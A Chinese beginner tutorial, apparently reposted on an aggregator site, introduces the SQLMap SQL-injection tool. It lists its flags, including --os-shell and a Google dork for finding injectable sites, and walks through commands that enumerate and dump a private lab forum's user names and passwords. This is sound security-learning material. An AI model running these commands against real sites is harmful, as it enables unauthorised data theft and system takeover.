IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 网络协议 -> 【SQLMap工具-1】SQLMap简介及简单应用实例 -> 正文阅读

[网络协议]【SQLMap工具-1】SQLMap简介及简单应用实例

1 SQLMap简介

SQLMap 是一个自动化的SQL注入工具,其主要功能是扫描、发现并利用给定URL的SQL注入漏洞,内置了很多绕过插件,支持的数据库是MySQL 、Oracle 、PostgreSQL 、Microsoft SQL Server、Microsoft Access 、IBM DB2, SQ Lite 、Firebird 、Sybase和SAPMaxDB 。

注意:sqlmap只是用来检测和利用sql注入点,并不能扫描出网站有哪些漏洞,使用前请先使用扫描工具扫出sql注入点。

SQLMap采用了以下5种独特的SQL注入技术。
? 基于布尔类型的盲注,即可以根据返回页面判断条件真假的注入。
? 基于时间的盲注,即不能根据页面返回的内容判断任何信息,要用条件语句查看时间延迟语句是否己执行(即页面返回时间是否增加)来判断。
? 基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回到页面中。
? 联合查询注入,在可以使用Union 的情况下的注入。. 堆查询注入,可以同时执行多条语句时的注入。

SQLMap 的强大的功能包括数据库指纹识别、数据库枚举、数据提取、访问目标文件系统,并在获取完全的操作权限时实行任意命令。SQLMap的功能强大到让人惊叹,当常规的注入工具不能利用SQL注入漏洞进行注入时,使用SQLMap会有意想不到的效果。

2 SQLMap安装

SQLMap的安装方式可以自己上网查找,本教程是利用KaliLinux上自带的SQLMap工具进行相关学习与实验,无需自己配置python等基础环境,较简单易上手,如何在虚拟机中安装KaliLinux系统请查看《【Linux系统】第2节 虚拟机中安装Kali系统》。

3 sqlmap的简单使用

3.1 常用命令及参数

查看sqlmap的命令字帮助手册

-u  "url"		#检测注入点
--dbs			#列出所有数据库的名称
--current-db	#列出当前数据库的名称
-D				#指定一个数据库
--table			#列出所有表名
-T				#指定表名
--columns		#列出所有字段名
-C				#指定字段
--dump			#列出字段内容

post注入
-r xxx.txt #xxx.txt为http数据包

–cookie #指定cookie
–os-shell #获取shell
sqlmap -g “inurl:php?id=” #利用google自动搜索注入点

3.2 具体操作实例

3.2.1 操作前准备

实验靶场——虚拟机(IP为172.16.1.1):本节实验靶场是在win2008系统上基于phpstudy搭建的一个简单网站,win2008及phpstudy的安装过程可以参考《【语言环境】WAMP环境部署及优化—以win2008R2SP1为操作系统》,网站的搭建过程可以参考《【(SQL+HTML+PHP)综合】一个简单论坛网站的综合开发案例

注入工具——kali虚拟机,自带sqlmap工具

注意,win2008和kali桥接到同一VMnet下。两者可以互相ping通。

在这里插入图片描述

3.2.2 具体实例

3.2.2.1 实例1:查看帮助手册

sqlmap -h

在这里插入图片描述

3.2.2.2 实例2:检测注入点及注入类型

sqlmap -u "http://172.16.1.1/PHP/jrltbbs/showmessage.php?id=5"

在这里插入图片描述
在这里插入图片描述
当SQLMap执行该命令时,它会执行以下步骤:

  • 1)判断可注入的参数;
  • 2)判断可以用哪种SQL注入技术来注入;
  • 3)识别出哪种数据库;
  • 4)根据用户选择,读取哪些数据。

3.2.2.3 实例3:列出所有数据库的名字

sqlmap -u "http://172.16.1.1/PHP/jrltbbs/showmessage.php?id=5" --dbs

在这里插入图片描述
在这里插入图片描述

3.2.2.4 实例4:列出当前数据库的名字

sqlmap -u "http://172.16.1.1/PHP/jrltbbs/showmessage.php?id=5" --current-db

在这里插入图片描述
在这里插入图片描述

3.2.2.5 实例5:列出某数据库的所有表名

sqlmap -u "http://172.16.1.1/PHP/jrltbbs/showmessage.php?id=5" -D 'jrlt' --tables

在这里插入图片描述
在这里插入图片描述

3.2.2.6 实例6:列出某表中的所有字段名

sqlmap -u "http://172.16.1.1/PHP/jrltbbs/showmessage.php?id=5" -D 'jrlt' -T 'users' --columns

在这里插入图片描述
在这里插入图片描述

3.2.2.7 实例7:列出某字段中的所有字段内容

sqlmap -u "http://172.16.1.1/PHP/jrltbbs/showmessage.php?id=5" -D 'jrlt' -T 'users' -C 'name,password' --dump

在这里插入图片描述
在这里插入图片描述

3.2.2.8 实例8:post注入

首先利用burpsuite抓到使用post请求方法的http请求数据包,将该包保存为post.txt文件(保存在当前目录下)。输入代码:sqlmap -r post.txt,会自动读取http数据包来做个post注入的测试

在本专栏博客中,主要以入门知识为主,引领零基础的伙伴了解一些工具的简单操作,会分享sqlmap的简单使用方法,比如:使用该软件来判断目标网站是否存在注入、查询获取数据库的库名表名字段名以及字段内容等信息.其他更详细的用法可详见sqlmap的帮助手册,如-level、-referer、roles等。

4 参考文章及优秀资源推荐

sqlmap 详解
sqlmap 官网
sqlmap文档地址

  网络协议 最新文章
使用Easyswoole 搭建简单的Websoket服务
常见的数据通信方式有哪些?
Openssl 1024bit RSA算法---公私钥获取和处
HTTPS协议的密钥交换流程
《小白WEB安全入门》03. 漏洞篇
HttpRunner4.x 安装与使用
2021-07-04
手写RPC学习笔记
K8S高可用版本部署
mySQL计算IP地址范围
上一篇文章           查看所有文章
加:2022-05-03 09:28:51  更:2022-05-03 09:28:57 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年12日历 -2024/12/30 3:12:30-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码